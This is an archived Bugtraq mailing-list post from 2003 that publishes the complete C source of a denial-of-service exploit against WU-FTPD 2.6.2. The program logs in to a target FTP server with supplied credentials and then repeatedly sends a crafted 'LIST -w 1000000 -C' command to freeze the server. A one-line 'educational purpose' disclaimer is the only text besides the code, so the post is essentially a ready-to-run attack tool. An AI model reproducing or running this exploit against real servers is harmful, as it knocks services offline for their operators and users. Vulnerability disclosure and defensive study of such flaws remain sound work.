WU-FTPD 2.6.2 Freezer

From: Angelo Rosiello (angelo.rosiello_at_katamail.com)
Date: 10/31/03

  • Next message: Alan: "Mimail.C"
    Date: 31 Oct 2003 14:55:43 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    http://www.rosiello.org
    Vulnerabilities Section.

    /*
    *
    * http://www.rosiello.org
    * (c) Rosiello Security
    *
    * Copyright Rosiello Security 2003
    * All Rights reserved.
    *
    * Tested on Red Hat 9.0
    *
    * Author: Angelo Rosiello
    * Mail : angelo@rosiello.org
    * URL : http://www.rosiello.org
    *
    * This software is only for educational purpose.
    * Do not use it against machines different from yours.
    * Respect law.
    *
    */

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <string.h>

    void addr_initialize( );
    void usage( );

    int main( int argc, char **argv )
    {
            int i, sd, PORT, loop, error;
            char user[30], password[30], ch;
            struct sockaddr_in server_addr;

            fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
            fprintf( stdout, "http://www.rosiello.org\n" );
            fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );

            if( argc != 6 ) usage( argv[0] );

            if( strlen( argv[3] ) > 20 ) exit( 0 );
            if( strlen( argv[4] ) > 20 ) exit( 0 );

            sprintf( user, "USER %s\n", argv[3] );
            sprintf( password, "PASS %s\n", argv[4] );

            PORT = atoi( argv[2] );
            loop = atoi( argv[5] );

            addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
            sd = socket( AF_INET, SOCK_STREAM, 0 );

              error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
            if( error != 0 )
            {
                    perror( "Something wrong with the connection" );
                    exit( 0 );
            }

            while ( ch != '\n' )
            {
                    recv( sd, &ch, 1, 0);
                    printf("%c", ch );
            }

            ch = '\0';

            printf( "Connection executed, now waiting to log in...\n" );

            printf( "%s", user );

            send( sd, user, strlen( user ), 0 );
            while ( ch != '\n' )
            {
                    recv( sd, &ch, 1, 0);
                    printf("%c", ch );
            }
            printf( "%s", password );

            ch = '\0';

             send( sd, password, strlen( password ), 0 );
            while ( ch != '\n' )
            {
                    recv( sd, &ch, 1, 0);
                    printf("%c", ch );
            }

            printf( "Sending the DoS query\n" );
            for( i=0; i<loop; i++ )
            {
                    write( sd, "LIST -w 1000000 -C\n", 19 );
            }
            printf( "All done\n" );
            close( sd );
            return 0;
    }

    void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
    {
                 address -> sin_family = AF_INET;
                 address -> sin_port = htons((u_short)port);
                 address -> sin_addr.s_addr = IPaddr;
    }

    void usage( char *program )
    {
            fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
              exit(0);
    }


  • Next message: Alan: "Mimail.C"

    Relevant Pages